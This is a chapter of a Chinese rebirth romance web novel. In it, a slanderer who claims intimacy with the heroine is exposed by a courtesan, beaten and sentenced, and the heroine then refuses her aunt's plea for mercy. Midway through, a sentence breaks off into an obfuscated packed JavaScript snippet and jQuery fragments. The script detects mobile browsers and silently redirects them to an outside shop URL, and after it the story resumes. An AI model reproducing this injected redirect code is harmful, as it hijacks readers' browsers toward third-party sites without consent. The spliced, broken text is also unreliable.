19. 惩罚

作品:《弃夫成狼(重生)

    “来人,把这打胡乱说的人,给我乱棍打死!”卢明远本就有气,眼下吴荣居然还敢找上门来,他自是气急了。


    底下人动作迅速,立时就围了上来。


    人多吴荣就招架不住,随之而来的是棍棒的击打声和男人的吼叫。


    “大伯,大伯息怒,手下留情。”是吴氏的声音,语气虽还算冷静,但紧紧捏住的手帕暴露了她的心慌。


    她倒是来得快!卢明远鼻腔轻轻地哼了一声。


    卢明远示意放开了吴荣。


    怕吴荣那厮还要说什么,卢明远先发制人:“之前你在卢府盗窃商业机密,我见你是姻亲,小惩大诫放过了你。没想到,今日我母亲大寿,你还要来如此搅局!如此阴毒,不堪为君子。”


    卢明远送的客人正是金陵府宋知府,宋知府自然开口怒骂:“卢老爷此前报过官,后来又撤了,原是念在姻亲关系,没曾想你今日还敢来?!”


    吴荣被压着跪在地上,忍着痛大叫:“我与卢大娘子情投意合,早已有肌肤之亲,求姑老爷你成全!”


    随后又看向吴氏:“姑姑,姑姑,你给我做主呀!”


    “这话可是任由你乱说!”卢明远气急,转头看向吴氏,满眼愤恨,让吴氏开不了口。


    “若是让卢大娘子与我当场对峙,大家必然就知道真相了。”吴荣见吴氏不帮腔,继续攀咬。


    只要卢仪宁出了府,那她是怎么都洗不白了。


    “你空口白牙就要诬赖人,眼下又拿不出证据,却想……”


    卢明远的声音被打断。


    “我……我有证据!”


    吴荣挣扎着从怀里掏出一件小衣,角落绣着“宁”字,人群中有些骚动。


    卢明远还没说什么,却见旁边青楼女子抢了话:“哎呀,郎君,什么卢娘子,这是奴家安宁的好不好!你我二人欢好,说好要给我赎身的呢。你可是下了猛药,害得奴家好生折腾。”


    说罢,那青楼女子就上前拉着吴荣,想要拉住吴荣的手,却不经意间将小衣掉在地上,满是浓稠的白色液体被摊开摆在了眼前,一股腥气飘散出来。


    那女子“脸”霎时红了,围观众人多是经人事的,哪有不知道那是什么,纷纷议论斥责起来。


    “这男人在外面干的事,还平白无故来诬赖人家姑娘!可真是太不要脸了!”男子掩着面,似乎不想看到如此恶心的人。


    “对嘛,就是看今日卢府寿宴,人多眼杂,好找点事儿。”


    “听闻卢娘子今日丹青技惊四座,这人莫不是就这般看上了卢娘子吧?可真是不要脸。”


    “这瞎了一只眼,手又伤着了,还流连于青楼。如此品性,怕是醉生梦死不知年岁,居然还想做卢家的夫婿,真是想得太美了!”人群中有嘲笑的声音。


    “卢家闺秀,今日都在院内与老太太贺寿,来往宾客众多,俱可作证,你如此攀咬,实在是居心叵测。知府大人,小人斗胆,求你为小人做主!”卢明远知道,既然事情已然闹大,他得把这事办得毫无破绽。


    “吴荣恶意栽赃,污人名声,盗取商业机密,实乃罪大恶极,着即刻查办,依法处置!”宋知府一锤定音,有人把吴荣押了下去。


    任他再说什么,也都是没人信的了。


    卢明远向宋知府告了谢又告了罪,才送走了人。


    前厅的这场小骚动,并没有传到后院,后院仍是一片祥和欢乐的气氛。


    ……


    晚膳后,卢仪宁才听说了前厅的事儿。


    “那最后怎么了?”卢仪宁尽量让自己的语气显得平静,微微发颤的双手,还是暴露了她内心的担忧。


    “大家都说这人纯粹是看重卢府富贵了,才如此胡言乱语,已经被扭送至知府了。”金盏说得有些累了,讨了口水喝,继续道,“姑娘,这吴荣怎么变成这样!”


    银簟推了推金盏,埋怨道:“你忘记这吴荣之前还想拦着姑娘的事,眼下还敢如此,送官府都是轻的了!”


    金盏也赞同地点点头,这话题就此揭过了。


    可卢仪宁到底不放心,知府审理那日,还是去了趟府衙。


    她自然不会现身,只是坐在马车里,听些下人传来的消息。


    等到马夫传话,吴荣因诬告反坐,“和奸罪”和“盗窃罪”两项并罚,徒三年半后,卢仪宁彻底放心了。


    如此算是官方定论,吴荣之前的侮辱之举,无论如何不可能反扑到自己身上了。


    可偏有人不愿卢仪宁得片刻安宁,非要来寻她。


    “宁姐儿,前日寿宴大放异彩,金陵城中谁人不知宁姐儿的名。”翌日,吴氏午膳后就施施然地寻来了。


    “稀客稀客,原是三婶娘。可惜三婶娘来得不巧,我正要出府呢!”卢仪宁不接话,只想打发了对方。


    “宁姐儿……”吴氏朝前着急走了几步,拉住卢仪宁的手,“就当我求你!”


    说话间,吴氏就要跪下去了,卢仪宁没了法子,只得扶着她起了身,退回了院里。


    “扑通……”吴氏到底还是跪了:“宁姐儿,我知你心中有怨,可我……我吴家就这么一根独苗!”


    后来卢仪宁也是打听过的。吴氏的继兄过继来后,也只生了吴荣这一个儿子,至于女儿,那基本上算不存在。


    “三婶娘,他吴荣不过是过继兄长的儿子,甚至算不上你的亲侄子,你做到如此地步,真的值吗?”卢仪宁语气是疑惑,更多的却是有些气愤。


    毕竟,吴氏是在卢氏过活的,若是惹恼了二房,她自己的日子又能好到哪去?难道即使外嫁了,还得为吴家而活吗?为家族而活可能也没什么问题,但为何得以牺牲自己为代价?


    牺牲自己就算了,若是子孙德才兼备也就算了,连这种骨子里都烂掉的子孙,也配牺牲自己吗?


    “宁姐儿,你不知,可我还有父母,若是没了继兄,我的父母该如何?”吴氏听了卢仪宁的话,心里也是痛了起来,手不自觉地捂住胸口。


    她不是没有怨念的。可是比起入赘,父母更喜欢过继。饶是如此,她也做不到全然不顾父母。


    卢仪宁不知说什么好。她不明白。前世她从未牺牲自己,她只为自己而活,似乎全然是高兴的。可她也后悔过,后悔没有能力帮到父母,后悔父母下落不明后,自己居然都不知道。


    这一刻,她似乎有些理解吴氏的选择了。


    “抱歉,三婶娘,我不可能去撤销对吴荣的控告。”卢仪宁还是理智的,“若是撤销,外界该如何风言风语,我这辈子都洗不清了。我不可能为了他,搭上我的一辈子。”


    卢仪宁的语气很轻,但吴氏感受到了其中的坚决,她面如死灰,颓然地坐在地上,如无头苍蝇般,不知道自己还能做什么。


    卢仪宁不再多言,到底出了院,任由吴氏在院里坐着。


    ……


    卢仪宁本没打算出府,可是事情这般进展,若是不出府,她也不知道接下来如何行事。


    毕竟,她虽不愿妥协,也看不上吴氏如此牺牲自己,可她又理解吴氏对她父母的孝心,但她却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404417|198989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没有任何办法。


    无法可解,她只能躲。


    “姑娘,我们去哪里呀?”小半个时辰了,金盏终于忍不住问道。


    马车哒哒地在金陵城中闲逛着,没有主人的命令,断然是不知何处落脚的。


    金盏和银簟都盯着卢仪宁,她却仍未决定。正在犹疑,忽地传来招呼声,算是解救了她。


    “可是卢娘子?”是林子墨的声音,“我等几人正在这边茶楼欣赏画作,不知卢娘子是否感兴趣,指点一二?”


    “指点一二谈不上。”马车内温婉的声音响起,却带着些疏离。


    卢仪宁的话让林子墨有些失落。


    “不过能与各位学子讨教讨教,是我的荣幸。”说话间,卢仪宁已然掀开车帘。林子墨满面喜色,伸出手臂扶着卢仪宁下了马车。


    卢仪宁想着,能与他人说说话,心中指不定少些烦闷。


    “守玄兄好眼力,果真是卢娘子!”


    来人见林子墨和卢仪宁二人上得二楼,两人走在一起,可谓是郎才女貌,脸上俱是惊喜。


    “卢娘子有礼了。”众人向卢仪宁见礼,这是他们对卢仪宁昨日画作的尊重。


    昨日众位学子也是有幸参加卢老太太寿辰的,自然有幸见过那幅画。


    “卢娘子,可否指点一二,是何契机让你画出了昨日的那幅仙鹤拜寿?”有好奇的学子忍不住问道。


    卢仪宁很是坦诚:“其实我对丹青算不得精通,昨日那幅,不过是熟能生巧。”


    卢仪宁没撒谎,前世关于仙鹤的图,她至少画过几十幅。若让她画别的,她自知没有那个能力。


    “卢娘子谦虚了。”学子还以为卢仪宁谦虚,也就不再多言。


    学子们又开始讨论起别的画作,卢仪宁只是安静地听着。不比经史子集,倒也觉得颇为有趣。


    就这么静静地听着,卢仪宁烦忧确实少了些。到与众人告别时,她已然心情大好。


    马车哒哒走着,却忽地停了。


    “怎么了?”卢仪宁探究地问道,却见有人掀帘闯了进来。


    “卢娘子,我有急事去学堂一趟,可否搭个便车?”谢少安语气平淡,眼神却颇有攻击性。


    毕竟刚受人恩惠,卢仪宁也不好拒绝,只得任由谢少安坐在侧边。


    好在马车够大,二人才拉开了些距离,卢仪宁才没觉得那么尴尬。


    “卢娘子,可还满意?”马车安静了许久,谢少安才冒出这么句话。


    “啊?”卢仪宁愣了一瞬,又明白了谢少安的话,“吴荣他是罪有应得,学子思虑周到,我自是满意,多谢谢学子。”


    不能杀掉吴荣,意味着他总会有可能败坏卢仪宁的名声,可谓是后患无穷。毕竟,哪怕毫无证据,一张嘴也可以让流言满天飞,届时卢仪宁处境堪忧。可若过了官府明路,事情就要好办多了。


    卢仪宁佩服谢少安,不愧是未来权倾朝野的存在。


    “谢学子?只是一句谢?”谢少安淡淡地睥睨了一眼,卢仪宁顿觉空气冷了几分。


    “……”卢仪宁不知该说什么。


    “你中意林子墨?”谢少安想起方才卢仪宁看着林子墨的神色,安静而平和,拳头不自觉地捏得紧紧的。


    “……”卢仪宁看着谢少安颇有些冷酷的脸,颤巍巍地开了口,“谈不上中意,但也不反感。”


    话音刚落,马车稳稳地停下了,谢少安不发一言,霎时起身,下了马车,徒留卢仪宁在原地发愣。


    这是……生气了?